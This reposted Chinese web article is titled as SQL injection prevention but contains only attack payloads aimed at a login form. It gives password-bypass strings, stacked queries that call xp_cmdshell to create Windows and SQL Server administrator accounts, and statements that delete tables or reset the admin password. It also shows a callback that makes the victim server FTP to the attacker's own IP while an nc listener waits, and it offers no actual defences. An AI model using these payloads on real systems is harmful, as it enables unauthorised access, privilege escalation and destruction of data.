sql 注入防范

来源:互联网 发布:图书管理系统java案例 编辑:程序博客网 时间:2024/05/02 19:01
关于身份验证
sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"
假设只知道用户名不知道密码:
(1)我们在用户名位置输入【admin' or 1='1】。注:内容只有【】内的。
看看sql会变成什么:

sql=select * from user where name='admin' or 1='1' and pwd='11'
我们知道,or是一个逻辑运算符,在判断多个条件的时候,只要前一个等式成立,即name='admin'正确,整个等式就返回真,后面的and就不再进行判断了,也就是说我们绕过了密码验证,只要我们知道用户名就可以登陆该系统。
(2)我们也可以在用户名位置输入【admin' --】。再看看sql:
以下内容为程序代码:
sql=select * from user where name='admin' --' and pasword='11'

同样,通过连接符--注释掉了后面的密码验证,对access数据库无效,对SQLServer数据库有效。
(3)如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:
a、在用户名位置输入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户
b、在用户名位置输入【admin';exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456
c、在用户名位置输入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限
d、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 】,给系统添加一个密码为123456的帐户Cool,并设置相关属性,关于net user命令可以参考这里。
e、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--】,把cool用户添加到管理员组。
现在觉得恐怖了没有,当然我还没说完,实现这些必须是该站点使用sa或者system administrator权限的用户来连接数据库,普通的的虚拟空间是不用想了,除非管理员是SB。但是对于那些站点放在自己服务器上的网站,很难说哦,真的很难说,呵呵,我见过N个。
那如果不是sa,是不是就什么也不能做了,当然不是!只是不能获得太高权限来控制sql库和系统了,但是对这个库,我们还是拥有完整的管理权限。来看看我们能作什么:
a、输入【admin';delete user;--】,一旦他的表名就是user,就会删除user表里所有记录。够狠吧!你可千万别这么做哦!
b、输入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以给user表添加一个用户,当然前提是表名和字段名都要正确。
c、输入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密码,当然前提也是表名和字段名都要正确。
更多的攻击内容,你可以参考sql语法。
看来如果不是sa还是比较郁闷的,当然,我们也有一些简单的方法来判断网站是否使用sa来连接数据库。
a、在cmd中执行nc -l -p 21,监听本机的21端口;当然也可以采用火墙什么的。
b、输入【admin';exec master.dbo.xp_cmdshell 'ftp *.*.*.*'】,其中*代表你的ip地址,如果发现有连接,就可以断定是使用sa了,而且可以获得网站数据库的ip地址,因为有些网站web和sql 是放在不同服务器上的;如果没有连接,则网站使用的是非sa帐户。
原创粉丝点击